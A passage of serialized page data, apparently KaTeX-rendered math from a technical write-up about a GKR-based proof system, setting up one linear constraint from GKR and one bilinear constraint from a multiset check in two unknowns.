",{"type":22,"tag":114,"props":121335,"children":121337},{"className":121336},[5995,5996],[121338],{"type":22,"tag":118,"props":121339,"children":121341},{"className":121340},[6001],[121342],{"type":22,"tag":118,"props":121343,"children":121345},{"className":121344,"ariaHidden":6007},[6006],[121346,121424],{"type":22,"tag":118,"props":121347,"children":121349},{"className":121348},[6012],[121350,121354,121411,121415,121420],{"type":22,"tag":118,"props":121351,"children":121353},{"className":121352,"style":111613},[6017],[],{"type":22,"tag":118,"props":121355,"children":121357},{"className":121356},[6023],[121358,121363],{"type":22,"tag":118,"props":121359,"children":121361},{"className":121360},[6023,23542],[121362],{"type":28,"value":21243},{"type":22,"tag":118,"props":121364,"children":121366},{"className":121365},[6040],[121367],{"type":22,"tag":118,"props":121368,"children":121370},{"className":121369},[6045,23596],[121371,121400],{"type":22,"tag":118,"props":121372,"children":121374},{"className":121373},[6050],[121375,121395],{"type":22,"tag":118,"props":121376,"children":121378},{"className":121377,"style":94695},[6055],[121379],{"type":22,"tag":118,"props":121380,"children":121381},{"style":94699},[121382,121386],{"type":22,"tag":118,"props":121383,"children":121385},{"className":121384,"style":6065},[6064],[],{"type":22,"tag":118,"props":121387,"children":121389},{"className":121388},[6070,6071,6072,6073],[121390],{"type":22,"tag":118,"props":121391,"children":121393},{"className":121392},[6023,6073],[121394],{"type":28,"value":6036},{"type":22,"tag":118,"props":121396,"children":121398},{"className":121397},[23699],[121399],{"type":28,"value":23702},{"type":22,"tag":118,"props":121401,"children":121403},{"className":121402},[6050],[121404],{"type":22,"tag":118,"props":121405,"children":121407},{"className":121406,"style":94726},[6055],[121408],{"type":22,"tag":118,"props":121409,"children":121410},{},[],{"type":22,"tag":118,"props":121412,"children":121414},{"className":121413,"style":6202},[6104],[],{"type":22,"tag":118,"props":121416,"children":121418},{"className":121417},[6207],[121419],{"type":28,"value":282},{"type":22,"tag":118,"props":121421,"children":121423},{"className":121422,"style":6202},[6104],[],{"type":22,"tag":118,"props":121425,"children":121427},{"className":121426},[6012],[121428,121432,121473,121478,121483,121488,121493,121498],{"type":22,"tag":118,"props":121429,"children":121431},{"className":121430,"style":94585},[6017],[],{"type":22,"tag":118,"props":121433,"children":121435},{"className":121434},[6023],[121436,121445,121450,121459,121464],{"type":22,"tag":118,"props":121437,"children":121439},{"className":121438},[6023,28],[121440],{"type":22,"tag":118,"props":121441,"children":121443},{"className":121442},[6023],[121444],{"type":28,"value":95462},{"type":22,"tag":118,"props":121446,"children":121448},{"className":121447,"style":94643},[6023],[121449],{"type":28,"value":3422},{"type":22,"tag":118,"props":121451,"children":121453},{"className":121452},[6023,28],[121454],{"type":22,"tag":118,"props":121455,"children":121457},{"className":121456},[6023],[121458],{"type":28,"value":120317},{"type":22,"tag":118,"props":121460,"children":121462},{"className":121461,"style":94643},[6023],[121463],{"type":28,"value":3422},{"type":22,"tag":118,"props":121465,"children":121467},{"className":121466},[6023,28],[121468],{"type":22,"tag":118,"props":121469,"children":121471},{"className":121470},[6023],[121472],{"type":28,"value":120336},{"type":22,"tag":118,"props":121474,"children":121476},{"className":121475},[23671],[121477],{"type":28,"value":5746},{"type":22,"tag":118,"props":121479,"children":121481},{"className":121480},[6023],[121482],{"type":28,"value":6036},{"type":22,"tag":118,"props":121484,"children":121486},{"className":121485},[23693],[121487],{"type":28,"value":17386},{"type":22,"tag":118,"props":121489,"children":121491},{"className":121490},[23671],[121492],{"type":28,"value":5746},{"type":22,"tag":118,"props":121494,"children":121496},{"className":121495},[6023],[121497],{"type":28,"value":6036},{"type":22,"tag":118,"props":121499,"children":121501},{"className":121500},[23693],[121502],{"type":28,"value":17386},{"type":28,"value":12991},{"type":22,"tag":114,"props":121505,"children":121507},{"className":121506},[5995,5996],[121508],{"type":22,"tag":118,"props":121509,"children":121511},{"className":121510},[6001],[121512],{"type":22,"tag":118,"props":121513,"children":121515},{"className":121514,"ariaHidden":6007},[6006],[121516,121594],{"type":22,"tag":118,"props":121517,"children":121519},{"className":121518},[6012],[121520,121524,121581,121585,121590],{"type":22,"tag":118,"props":121521,"children":121523},{"className":121522,"style":111613},[6017],[],{"type":22,"tag":118,"props":121525,"children":121527},{"className":121526},[6023],[121528,121533],{"type":22,"tag":118,"props":121529,"children":121531},{"className":121530},[6023,23542],[121532],{"type":28,"value":21243},{"type":22,"tag":118,"props":121534,"children":121536},{"className":121535},[6040],[121537],{"type":22,"tag":118,"props":121538,"children":121540},{"className":121539},[6045,23596],[121541,121570],{"type":22,"tag":118,"props":121542,"children":121544},{"className":121543},[6050],[121545,121565],{"type":22,"tag":118,"props":121546,"children":121548},{"className":121547,"style":94695},[6055],[121549],{"type":22,"tag":118,"props":121550,"children":121551},{"style":94699},[121552,121556],{"type":22,"tag":118,"props":121553,"children":121555},{"className":121554,"style":6065},[6064],[],{"type":22,"tag":118,"props":121557,"children":121559},{"className":121558},[6070,6071,6072,6073],[121560],{"type":22,"tag":118,"props":121561,"children":121563},{"className":121562},[6023,6073],[121564],{"type":28,"value":6026},{"type":22,"tag":118,"props":121566,"children":121568},{"className":121567},[23699],[121569],{"type":28,"value":23702},{"type":22,"tag":118,"props":121571,"children":121573},{"className":121572},[6050],[121574],{"type":22,"tag":118,"props":121575,"children":121577},{"className":121576,"style":94726},[6055],[121578],{"type":22,"tag":118,"props":121579,"children":121580},{},[],{"type":22,"tag":118,"props":121582,"children":121584},{"className":121583,"style":6202},[6104],[],{"type":22,"tag":118,"props":121586,"children":121588},{"className":121587},[6207],[121589],{"type":28,"value":282},{"type":22,"tag":118,"props":121591,"children":121593},{"className":121592,"style":6202},[6104],[],{"type":22,"tag":118,"props":121595,"children":121597},{"className":121596},[6012],[121598,121602,121643,121648,121653,121658,121663,121668],{"type":22,"tag":118,"props":121599,"children":121601},{"className":121600,"style":94585},[6017],[],{"type":22,"tag":118,"props":121603,"children":121605},{"className":121604},[6023],[121606,121615,121620,121629,121634],{"type":22,"tag":118,"props":121607,"children":121609},{"className":121608},[6023,28],[121610],{"type":22,"tag":118,"props":121611,"children":121613},{"className":121612},[6023],[121614],{"type":28,"value":95462},{"type":22,"tag":118,"props":121616,"children":121618},{"className":121617,"style":94643},[6023],[121619],{"type":28,"value":3422},{"type":22,"tag":118,"props":121621,"children":121623},{"className":121622},[6023,28],[121624],{"type":22,"tag":118,"props":121625,"children":121627},{"className":121626},[6023],[121628],{"type":28,"value":120317},{"type":22,"tag":118,"props":121630,"children":121632},{"className":121631,"style":94643},[6023],[121633],{"type":28,"value":3422},{"type":22,"tag":118,"props":121635,"children":121637},{"className":121636},[6023,28],[121638],{"type":22,"tag":118,"props":121639,"children":121641},{"className":121640},[6023],[121642],{"type":28,"value":120336},{"type":22,"tag":118,"props":121644,"children":121646},{"className":121645},[23671],[121647],{"type":28,"value":5746},{"type":22,"tag":118,"props":121649,"children":121651},{"className":121650},[6023],[121652],{"type":28,"value":6036},{"type":22,"tag":118,"props":121654,"children":121656},{"className":121655},[23693],[121657],{"type":28,"value":17386},{"type":22,"tag":118,"props":121659,"children":121661},{"className":121660},[23671],[121662],{"type":28,"value":5746},{"type":22,"tag":118,"props":121664,"children":121666},{"className":121665},[6023],[121667],{"type":28,"value":6026},{"type":22,"tag":118,"props":121669,"children":121671},{"className":121670},[23693],[121672],{"type":28,"value":17386},{"type":28,"value":121674}," we get the following constraint:",{"type":22,"tag":31,"props":121676,"children":121677},{},[121678],{"type":22,"tag":114,"props":121679,"children":121681},{"className":121680},[5995,5996],[121682],{"type":22,"tag":118,"props":121683,"children":121685},{"className":121684},[6001],[121686],{"type":22,"tag":118,"props":121687,"children":121689},{"className":121688,"ariaHidden":6007},[6006],[121690,121769,121847,121888],{"type":22,"tag":118,"props":121691,"children":121693},{"className":121692},[6012],[121694,121699,121756,121760,121765],{"type":22,"tag":118,"props":121695,"children":121698},{"className":121696,"style":121697},[6017],"height:0.5945em;vertical-align:-0.15em;",[],{"type":22,"tag":118,"props":121700,"children":121702},{"className":121701},[6023],[121703,121708],{"type":22,"tag":118,"props":121704,"children":121706},{"className":121705},[6023,23542],[121707],{"type":28,"value":21243},{"type":22,"tag":118,"props":121709,"children":121711},{"className":121710},[6040],[121712],{"type":22,"tag":118,"props":121713,"children":121715},{"className":121714},[6045,23596],[121716,121745],{"type":22,"tag":118,"props":121717,"children":121719},{"className":121718},[6050],[121720,121740],{"type":22,"tag":118,"props":121721,"children":121723},{"className":121722,"style":94695},[6055],[121724],{"type":22,"tag":118,"props":121725,"children":121726},{"style":94699},[121727,121731],{"type":22,"tag":118,"props":121728,"children":121730},{"className":121729,"style":6065},[6064],[],{"type":22,"tag":118,"props":121732,"children":121734},{"className":121733},[6070,6071,6072,6073],[121735],{"type":22,"tag":118,"props":121736,"children":121738},{"className":121737},[6023,6073],[121739],{"type":28,"value":6036},{"type":22,"tag":118,"props":121741,"children":121743},{"className":121742},[23699],[121744],{"type":28,"value":23702},{"type":22,"tag":118,"props":121746,"children":121748},{"className":121747},[6050],[121749],{"type":22,"tag":118,"props":121750,"children":121752},{"className":121751,"style":94726},[6055],[121753],{"type":22,"tag":118,"props":121754,"children":121755},{},[],{"type":22,"tag":118,"props":121757,"children":121759},{"className":121758,"style":6105},[6104],[],{"type":22,"tag":118,"props":121761,"children":121763},{"className":121762},[6110],[121764],{"type":28,"value":112905},{"type":22,"tag":118,"props":121766,"children":121768},{"className":121767,"style":6105},[6104],[],{"type":22,"tag":118,"props":121770,"children":121772},{"className":121771},[6012],[121773,121777,121834,121838,121843],{"type":22,"tag":118,"props":121774,"children":121776},{"className":121775,"style":121697},[6017],[],{"type":22,"tag":118,"props":121778,"children":121780},{"className":121779},[6023],[121781,121786],{"type":22,"tag":118,"props":121782,"children":121784},{"className":121783},[6023,23542],[121785],{"type":28,"value":21243},{"type":22,"tag":118,"props":121787,"children":121789},{"className":121788},[6040],[121790],{"type":22,"tag":118,"props":121791,"children":121793},{"className":121792},[6045,23596],[121794,121823],{"type":22,"tag":118,"props":121795,"children":121797},{"className":121796},[6050],[121798,121818],{"type":22,"tag":118,"props":121799,"children":121801},{"className":121800,"style":94695},[6055],[121802],{"type":22,"tag":118,"props":121803,"children":121804},{"style":94699},[121805,121809],{"type":22,"tag":118,"props":121806,"children":121808},{"className":121807,"style":6065},[6064],[],{"type":22,"tag":118,"props":121810,"children":121812},{"className":121811},[6070,6071,6072,6073],[121813],{"type":22,"tag":118,"props":121814,"children":121816},{"className":121815},[6023,6073],[121817],{"type":28,"value":6026},{"type":22,"tag":118,"props":121819,"children":121821},{"className":121820},[23699],[121822],{"type":28,"value":23702},{"type":22,"tag":118,"props":121824,"children":121826},{"className":121825},[6050],[121827],{"type":22,"tag":118,"props":121828,"children":121830},{"className":121829,"style":94726},[6055],[121831],{"type":22,"tag":118,"props":121832,"children":121833},{},[],{"type":22,"tag":118,"props":121835,"children":121837},{"className":121836,"style":6105},[6104],[],{"type":22,"tag":118,"props":121839,"children":121841},{"className":121840},[6110],[121842],{"type":28,"value":112905},{"type":22,"tag":118,"props":121844,"children":121846},{"className":121845,"style":6105},[6104],[],{"type":22,"tag":118,"props":121848,"children":121850},{"className":121849},[6012],[121851,121855,121860,121870,121875,121879,121884],{"type":22,"tag":118,"props":121852,"children":121854},{"className":121853,"style":6125},[6017],[],{"type":22,"tag":118,"props":121856,"children":121858},{"className":121857},[23671],[121859],{"type":28,"value":540},{"type":22,"tag":118,"props":121861,"children":121863},{"className":121862},[6023,28],[121864],{"type":22,"tag":118,"props":121865,"children":121867},{"className":121866},[6023],[121868],{"type":28,"value":121869},"rest of product",{"type":22,"tag":118,"props":121871,"children":121873},{"className":121872},[23693],[121874],{"type":28,"value":3627},{"type":22,"tag":118,"props":121876,"children":121878},{"className":121877,"style":6202},[6104],[],{"type":22,"tag":118,"props":121880,"children":121882},{"className":121881},[6207],[121883],{"type":28,"value":282},{"type":22,"tag":118,"props":121885,"children":121887},{"className":121886,"style":6202},[6104],[],{"type":22,"tag":118,"props":121889,"children":121891},{"className":121890},[6012],[121892,121896],{"type":22,"tag":118,"props":121893,"children":121895},{"className":121894,"style":116663},[6017],[],{"type":22,"tag":118,"props":121897,"children":121899},{"className":121898},[6023,28],[121900],{"type":22,"tag":118,"props":121901,"children":121903},{"className":121902},[6023],[121904],{"type":28,"value":116674},{"type":22,"tag":31,"props":121906,"children":121907},{},[121908,121910,122063],{"type":28,"value":121909},"This is bilinear in ",{"type":22,"tag":114,"props":121911,"children":121913},{"className":121912},[5995,5996],[121914],{"type":22,"tag":118,"props":121915,"children":121917},{"className":121916},[6001],[121918],{"type":22,"tag":118,"props":121919,"children":121921},{"className":121920,"ariaHidden":6007},[6006],[121922],{"type":22,"tag":118,"props":121923,"children":121925},{"className":121924},[6012],[121926,121930,121935,121992,121997,122001,122058],{"type":22,"tag":118,"props":121927,"children":121929},{"className":121928,"style":6125},[6017],[],{"type":22,"tag":118,"props":121931,"children":121933},{"className":121932},[23671],[121934],{"type":28,"value":540},{"type":22,"tag":118,"props":121936,"children":121938},{"className":121937},[6023],[121939,121944],{"type":22,"tag":118,"props":121940,"children":121942},{"className":121941},[6023,23542],[121943],{"type":28,"value":21243},{"type":22,"tag":118,"props":121945,"children":121947},{"className":121946},[6040],[121948],{"type":22,"tag":118,"props":121949,"children":121951},{"className":121950},[6045,23596],[121952,121981],{"type":22,"tag":118,"props":121953,"children":121955},{"className":121954},[6050],[121956,121976],{"type":22,"tag":118,"props":121957,"children":121959},{"className":121958,"style":94695},[6055],[121960],{"type":22,"tag":118,"props":121961,"children":121962},{"style":94699},[121963,121967],{"type":22,"tag":118,"props":121964,"children":121966},{"className":121965,"style":6065},[6064],[],{"type":22,"tag":118,"props":121968,"children":121970},{"className":121969},[6070,6071,6072,6073],[121971],{"type":22,"tag":118,"props":121972,"children":121974},{"className":121973},[6023,6073],[121975],{"type":28,"value":6036},{"type":22,"tag":118,"props":121977,"children":121979},{"className":121978},[23699],[121980],{"type":28,"value":23702},{"type":22,"tag":118,"props":121982,"children":121984},{"className":121983},[6050],[121985],{"type":22,"tag":118,"props":121986,"children":121988},{"className":121987,"style":94726},[6055],[121989],{"type":22,"tag":118,"props":121990,"children":121991},{},[],{"type":22,"tag":118,"props":121993,"children":121995},{"className":121994},[6136],[121996],{"type":28,"value":6139},{"type":22,"tag":118,"props":121998,"children":122000},{"className":121999,"style":6143},[6104],[],{"type":22,"tag":118,"props":122002,"children":122004},{"className":122003},[6023],[122005,122010],{"type":22,"tag":118,"props":122006,"children":122008},{"className":122007},[6023,23542],[122009],{"type":28,"value":21243},{"type":22,"tag":118,"props":122011,"children":122013},{"className":122012},[6040],[122014],{"type":22,"tag":118,"props":122015,"children":122017},{"className":122016},[6045,23596],[122018,122047],{"type":22,"tag":118,"props":122019,"children":122021},{"className":122020},[6050],[122022,122042],{"type":22,"tag":118,"props":122023,"children":122025},{"className":122024,"style":94695},[6055],[122026],{"type":22,"tag":118,"props":122027,"children":122028},{"style":94699},[122029,122033],{"type":22,"tag":118,"props":122030,"children":122032},{"className":122031,"style":6065},[6064],[],{"type":22,"tag":118,"props":122034,"children":122036},{"className":122035},[6070,6071,6072,6073],[122037],{"type":22,"tag":118,"props":122038,"children":122040},{"className":122039},[6023,6073],[122041],{"type":28,"value":6026},{"type":22,"tag":118,"props":122043,"children":122045},{"className":122044},[23699],[122046],{"type":28,"value":23702},{"type":22,"tag":118,"props":122048,"children":122050},{"className":122049},[6050],[122051],{"type":22,"tag":118,"props":122052,"children":122054},{"className":122053,"style":94726},[6055],[122055],{"type":22,"tag":118,"props":122056,"children":122057},{},[],{"type":22,"tag":118,"props":122059,"children":122061},{"className":122060},[23693],[122062],{"type":28,"value":3627},{"type":28,"value":292},{"type":22,"tag":31,"props":122065,"children":122066},{},[122067,122069,122222],{"type":28,"value":122068},"We have two unknowns ",{"type":22,"tag":114,"props":122070,"children":122072},{"className":122071},[5995,5996],[122073],{"type":22,"tag":118,"props":122074,"children":122076},{"className":122075},[6001],[122077],{"type":22,"tag":118,"props":122078,"children":122080},{"className":122079,"ariaHidden":6007},[6006],[122081],{"type":22,"tag":118,"props":122082,"children":122084},{"className":122083},[6012],[122085,122089,122094,122151,122156,122160,122217],{"type":22,"tag":118,"props":122086,"children":122088},{"className":122087,"style":6125},[6017],[],{"type":22,"tag":118,"props":122090,"children":122092},{"className":122091},[23671],[122093],{"type":28,"value":540},{"type":22,"tag":118,"props":122095,"children":122097},{"className":122096},[6023],[122098,122103],{"type":22,"tag":118,"props":122099,"children":122101},{"className":122100},[6023,23542],[122102],{"type":28,"value":21243},{"type":22,"tag":118,"props":122104,"children":122106},{"className":122105},[6040],[122107],{"type":22,"tag":118,"props":122108,"children":122110},{"className":122109},[6045,23596],[122111,122140],{"type":22,"tag":118,"props":122112,"children":122114},{"className":122113},[6050],[122115,122135],{"type":22,"tag":118,"props":122116,"children":122118},{"className":122117,"style":94695},[6055],[122119],{"type":22,"tag":118,"props":122120,"children":122121},{"style":94699},[122122,122126],{"type":22,"tag":118,"props":122123,"children":122125},{"className":122124,"style":6065},[6064],[],{"type":22,"tag":118,"props":122127,"children":122129},{"className":122128},[6070,6071,6072,6073],[122130],{"type":22,"tag":118,"props":122131,"children":122133},{"className":122132},[6023,6073],[122134],{"type":28,"value":6036},{"type":22,"tag":118,"props":122136,"children":122138},{"className":122137},[23699],[122139],{"type":28,"value":23702},{"type":22,"tag":118,"props":122141,"children":122143},{"className":122142},[6050],[122144],{"type":22,"tag":118,"props":122145,"children":122147},{"className":122146,"style":94726},[6055],[122148],{"type":22,"tag":118,"props":122149,"children":122150},{},[],{"type":22,"tag":118,"props":122152,"children":122154},{"className":122153},[6136],[122155],{"type":28,"value":6139},{"type":22,"tag":118,"props":122157,"children":122159},{"className":122158,"style":6143},[6104],[],{"type":22,"tag":118,"props":122161,"children":122163},{"className":122162},[6023],[122164,122169],{"type":22,"tag":118,"props":122165,"children":122167},{"className":122166},[6023,23542],[122168],{"type":28,"value":21243},{"type":22,"tag":118,"props":122170,"children":122172},{"className":122171},[6040],[122173],{"type":22,"tag":118,"props":122174,"children":122176},{"className":122175},[6045,23596],[122177,122206],{"type":22,"tag":118,"props":122178,"children":122180},{"className":122179},[6050],[122181,122201],{"type":22,"tag":118,"props":122182,"children":122184},{"className":122183,"style":94695},[6055],[122185],{"type":22,"tag":118,"props":122186,"children":122187},{"style":94699},[122188,122192],{"type":22,"tag":118,"props":122189,"children":122191},{"className":122190,"style":6065},[6064],[],{"type":22,"tag":118,"props":122193,"children":122195},{"className":122194},[6070,6071,6072,6073],[122196],{"type":22,"tag":118,"props":122197,"children":122199},{"className":122198},[6023,6073],[122200],{"type":28,"value":6026},{"type":22,"tag":118,"props":122202,"children":122204},{"className":122203},[23699],[122205],{"type":28,"value":23702},{"type":22,"tag":118,"props":122207,"children":122209},{"className":122208},[6050],[122210],{"type":22,"tag":118,"props":122211,"children":122213},{"className":122212,"style":94726},[6055],[122214],{"type":22,"tag":118,"props":122215,"children":122216},{},[],{"type":22,"tag":118,"props":122218,"children":122220},{"className":122219},[23693],[122221],{"type":28,"value":3627},{"type":28,"value":122223}," and two equations, one linear and one bilinear:",{"type":22,"tag":4029,"props":122225,"children":122226},{},[122227,122554],{"type":22,"tag":68,"props":122228,"children":122229},{},[122230,122232],{"type":28,"value":122231},"Linear (from GKR): ",{"type":22,"tag":114,"props":122233,"children":122235},{"className":122234},[5995,5996],[122236],{"type":22,"tag":118,"props":122237,"children":122239},{"className":122238},[6001],[122240],{"type":22,"tag":118,"props":122241,"children":122243},{"className":122242,"ariaHidden":6007},[6006],[122244,122380,122515,122541],{"type":22,"tag":118,"props":122245,"children":122247},{"className":122246},[6012],[122248,122253,122310,122367,122371,122376],{"type":22,"tag":118,"props":122249,"children":122252},{"className":122250,"style":122251},[6017],"height:0.7333em;vertical-align:-0.15em;",[],{"type":22,"tag":118,"props":122254,"children":122256},{"className":122255},[6023],[122257,122262],{"type":22,"tag":118,"props":122258,"children":122260},{"className":122259},[6023,23542],[122261],{"type":28,"value":42},{"type":22,"tag":118,"props":122263,"children":122265},{"className":122264},[6040],[122266],{"type":22,"tag":118,"props":122267,"children":122269},{"className":122268},[6045,23596],[122270,122299],{"type":22,"tag":118,"props":122271,"children":122273},{"className":122272},[6050],[122274,122294],{"type":22,"tag":118,"props":122275,"children":122277},{"className":122276,"style":94695},[6055],[122278],{"type":22,"tag":118,"props":122279,"children":122280},{"style":94699},[122281,122285],{"type":22,"tag":118,"props":122282,"children":122284},{"className":122283,"style":6065},[6064],[],{"type":22,"tag":118,"props":122286,"children":122288},{"className":122287},[6070,6071,6072,6073],[122289],{"type":22,"tag":118,"props":122290,"children":122292},{"className":122291},[6023,6073],[122293],{"type":28,"value":6036},{"type":22,"tag":118,"props":122295,"children":122297},{"className":122296},[23699],[122298],{"type":28,"value":23702},{"type":22,"tag":118,"props":122300,"children":122302},{"className":122301},[6050],[122303],{"type":22,"tag":118,"props":122304,"children":122306},{"className":122305,"style":94726},[6055],[122307],{"type":22,"tag":118,"props":122308,"children":122309},{},[],{"type":22,"tag":118,"props":122311,"children":122313},{"className":122312},[6023],[122314,122319],{"type":22,"tag":118,"props":122315,"children":122317},{"className":122316},[6023,23542],[122318],{"type":28,"value":21243},{"type":22,"tag":118,"props":122320,"children":122322},{"className":122321},[6040],[122323],{"type":22,"tag":118,"props":122324,"children":122326},{"className":122325},[6045,23596],[122327,122356],{"type":22,"tag":118,"props":122328,"children":122330},{"className":122329},[6050],[122331,122351],{"type":22,"tag":118,"props":122332,"children":122334},{"className":122333,"style":94695},[6055],[122335],{"type":22,"tag":118,"props":122336,"children":122337},{"style":94699},[122338,122342],{"type":22,"tag":118,"props":122339,"children":122341},{"className":122340,"style":6065},[6064],[],{"type":22,"tag":118,"props":122343,"children":122345},{"className":122344},[6070,6071,6072,6073],[122346],{"type":22,"tag":118,"props":122347,"children":122349},{"className":122348},[6023,6073],[122350],{"type":28,"value":6036},{"type":22,"tag":118,"props":122352,"children":122354},{"className":122353},[23699],[122355],{"type":28,"value":23702},{"type":22,"tag":118,"props":122357,"children":122359},{"className":122358},[6050],[122360],{"type":22,"tag":118,"props":122361,"children":122363},{"className":122362,"style":94726},[6055],[122364],{"type":22,"tag":118,"props":122365,"children":122366},{},[],{"type":22,"tag":118,"props":122368,"children":122370},{"className":122369,"style":6105},[6104],[],{"type":22,"tag":118,"props":122372,"children":122374},{"className":122373},[6110],[122375],{"type":28,"value":3220},{"type":22,"tag":118,"props":122377,"children":122379},{"className":122378,"style":6105},[6104],[],{"type":22,"tag":118,"props":122381,"children":122383},{"className":122382},[6012],[122384,122388,122445,122502,122506,122511],{"type":22,"tag":118,"props":122385,"children":122387},{"className":122386,"style":122251},[6017],[],{"type":22,"tag":118,"props":122389,"children":122391},{"className":122390},[6023],[122392,122397],{"type":22,"tag":118,"props":122393,"children":122395},{"className":122394},[6023,23542],[122396],{"type":28,"value":42},{"type":22,"tag":118,"props":122398,"children":122400},{"className":122399},[6040],[122401],{"type":22,"tag":118,"props":122402,"children":122404},{"className":122403},[6045,23596],[122405,122434],{"type":22,"tag":118,"props":122406,"children":122408},{"className":122407},[6050],[122409,122429],{"type":22,"tag":118,"props":122410,"children":122412},{"className":122411,"style":94695},[6055],[122413],{"type":22,"tag":118,"props":122414,"children":122415},{"style":94699},[122416,122420],{"type":22,"tag":118,"props":122417,"children":122419},{"className":122418,"style":6065},[6064],[],{"type":22,"tag":118,"props":122421,"children":122423},{"className":122422},[6070,6071,6072,6073],[122424],{"type":22,"tag":118,"props":122425,"children":122427},{"className":122426},[6023,6073],[122428],{"type":28,"value":6026},{"type":22,"tag":118,"props":122430,"children":122432},{"className":122431},[23699],[122433],{"type":28,"value":23702},{"type":22,"tag":118,"props":122435,"children":122437},{"className":122436},[6050],[122438],{"type":22,"tag":118,"props":122439,"children":122441},{"className":122440,"style":94726},[6055],[122442],{"type":22,"tag":118,"props":122443,"children":122444},{},[],{"type":22,"tag":118,"props":122446,"children":122448},{"className":122447},[6023],[122449,122454],{"type":22,"tag":118,"props":122450,"children":122452},{"className":122451},[6023,23542],[122453],{"type":28,"value":21243},{"type":22,"tag":118,"props":122455,"children":122457},{"className":122456},[6040],[122458],{"type":22,"tag":118,"props":122459,"children":122461},{"className":122460},[6045,23596],[122462,122491],{"type":22,"tag":118,"props":122463,"children":122465},{"className":122464},[6050],[122466,122486],{"type":22,"tag":118,"props":122467,"children":122469},{"className":122468,"style":94695},[6055],[122470],{"type":22,"tag":118,"props":122471,"children":122472},{"style":94699},[122473,122477],{"type":22,"tag":118,"props":122474,"children":122476},{"className":122475,"style":6065},[6064],[],{"type":22,"tag":118,"props":122478,"children":122480},{"className":122479},[6070,6071,6072,6073],[122481],{"type":22,"tag":118,"props":122482,"children":122484},{"className":122483},[6023,6073],[122485],{"type":28,"value":6026},{"type":22,"tag":118,"props":122487,"children":122489},{"className":122488},[23699],[122490],{"type":28,"value":23702},{"type":22,"tag":118,"props":122492,"children":122494},{"className":122493},[6050],[122495],{"type":22,"tag":118,"props":122496,"children":122498},{"className":122497,"style":94726},[6055],[122499],{"type":22,"tag":118,"props":122500,"children":122501},{},[],{"type":22,"tag":118,"props":122503,"children":122505},{"className":122504,"style":6105},[6104],[],{"type":22,"tag":118,"props":122507,"children":122509},{"className":122508},[6110],[122510],{"type":28,"value":3220},{"type":22,"tag":118,"props":122512,"children":122514},{"className":122513,"style":6105},[6104],[],{"type":22,"tag":118,"props":122516,"children":122518},{"className":122517},[6012],[122519,122523,122528,122532,122537],{"type":22,"tag":118,"props":122520,"children":122522},{"className":122521,"style":112484},[6017],[],{"type":22,"tag":118,"props":122524,"children":122526},{"className":122525},[6023,23542],[122527],{"type":28,"value":5169},{"type":22,"tag":118,"props":122529,"children":122531},{"className":122530,"style":6202},[6104],[],{"type":22,"tag":118,"props":122533,"children":122535},{"className":122534},[6207],[122536],{"type":28,"value":282},{"type":22,"tag":118,"props":122538,"children":122540},{"className":122539,"style":6202},[6104],[],{"type":22,"tag":118,"props":122542,"children":122544},{"className":122543},[6012],[122545,122549],{"type":22,"tag":118,"props":122546,"children":122548},{"className":122547,"style":95674},[6017],[],{"type":22,"tag":118,"props":122550,"children":122552},{"className":122551},[6023],[122553],{"type":28,"value":6036},{"type":22,"tag":68,"props":122555,"children":122556},{},[122557,122559],{"type":28,"value":122558},"Bilinear (from multiset): ",{"type":22,"tag":114,"props":122560,"children":122562},{"className":122561},[5995,5996],[122563],{"type":22,"tag":118,"props":122564,"children":122566},{"className":122565},[6001],[122567],{"type":22,"tag":118,"props":122568,"children":122570},{"className":122569,"ariaHidden":6007},[6006],[122571,122597,122675,122753,122779],{"type":22,"tag":118,"props":122572,"children":122574},{"className":122573},[6012],[122575,122579,122584,122588,122593],{"type":22,"tag":118,"props":122576,"children":122578},{"className":122577,"style":94558},[6017],[],{"type":22,"tag":118,"props":122580,"children":122582},{"className":122581,"style":96072},[6023,23542],[122583],{"type":28,"value":90280},{"type":22,"tag":118,"props":122585,"children":122587},{"className":122586,"style":6105},[6104],[],{"type":22,"tag":118,"props":122589,"children":122591},{"className":122590},[6110],[122592],{"type":28,"value":112905},{"type":22,"tag":118,"props":122594,"children":122596},{"className":122595,"style":6105},[6104],[],{"type":22,"tag":118,"props":122598,"children":122600},{"className":122599},[6012],[122601,122605,122662,122666,122671],{"type":22,"tag":118,"props":122602,"children":122604},{"className":122603,"style":121697},[6017],[],{"type":22,"tag":118,"props":122606,"children":122608},{"className":122607},[6023],[122609,122614],{"type":22,"tag":118,"props":122610,"children":122612},{"className":122611},[6023,23542],[122613],{"type":28,"value":21243},{"type":22,"tag":118,"props":122615,"children":122617},{"className":122616},[6040],[122618],{"type":22,"tag":118,"props":122619,"children":122621},{"className":122620},[6045,23596],[122622,122651],{"type":22,"tag":118,"props":122623,"children":122625},{"className":122624},[6050],[122626,122646],{"type":22,"tag":118,"props":122627,"children":122629},{"className":122628,"style":94695},[6055],[122630],{"type":22,"tag":118,"props":122631,"children":122632},{"style":94699},[122633,122637],{"type":22,"tag":118,"props":122634,"children":122636},{"className":122635,"style":6065},[6064],[],{"type":22,"tag":118,"props":122638,"children":122640},{"className":122639},[6070,6071,6072,6073],[122641],{"type":22,"tag":118,"props":122642,"children":122644},{"className":122643},[6023,6073],[122645],{"type":28,"value":6036},{"type":22,"tag":118,"props":122647,"children":122649},{"className":122648},[23699],[122650],{"type":28,"value":23702},{"type":22,"tag":118,"props":122652,"children":122654},{"className":122653},[6050],[122655],{"type":22,"tag":118,"props":122656,"children":122658},{"className":122657,"style":94726},[6055],[122659],{"type":22,"tag":118,"props":122660,"children":122661},{},[],{"type":22,"tag":118,"props":122663,"children":122665},{"className":122664,"style":6105},[6104],[],{"type":22,"tag":118,"props":122667,"children":122669},{"className":122668},[6110],[122670],{"type":28,"value":112905},{"type":22,"tag":118,"props":122672,"children":122674},{"className":122673,"style":6105},[6104],[],{"type":22,"tag":118,"props":122676,"children":122678},{"className":122677},[6012],[122679,122683,122740,122744,122749],{"type":22,"tag":118,"props":122680,"children":122682},{"className":122681,"style":122251},[6017],[],{"type":22,"tag":118,"props":122684,"children":122686},{"className":122685},[6023],[122687,122692],{"type":22,"tag":118,"props":122688,"children":122690},{"className":122689},[6023,23542],[122691],{"type":28,"value":21243},{"type":22,"tag":118,"props":122693,"children":122695},{"className":122694},[6040],[122696],{"type":22,"tag":118,"props":122697,"children":122699},{"className":122698},[6045,23596],[122700,122729],{"type":22,"tag":118,"props":122701,"children":122703},{"className":122702},[6050],[122704,122724],{"type":22,"tag":118,"props":122705,"children":122707},{"className":122706,"style":94695},[6055],[122708],{"type":22,"tag":118,"props":122709,"children":122710},{"style":94699},[122711,122715],{"type":22,"tag":118,"props":122712,"children":122714},{"className":122713,"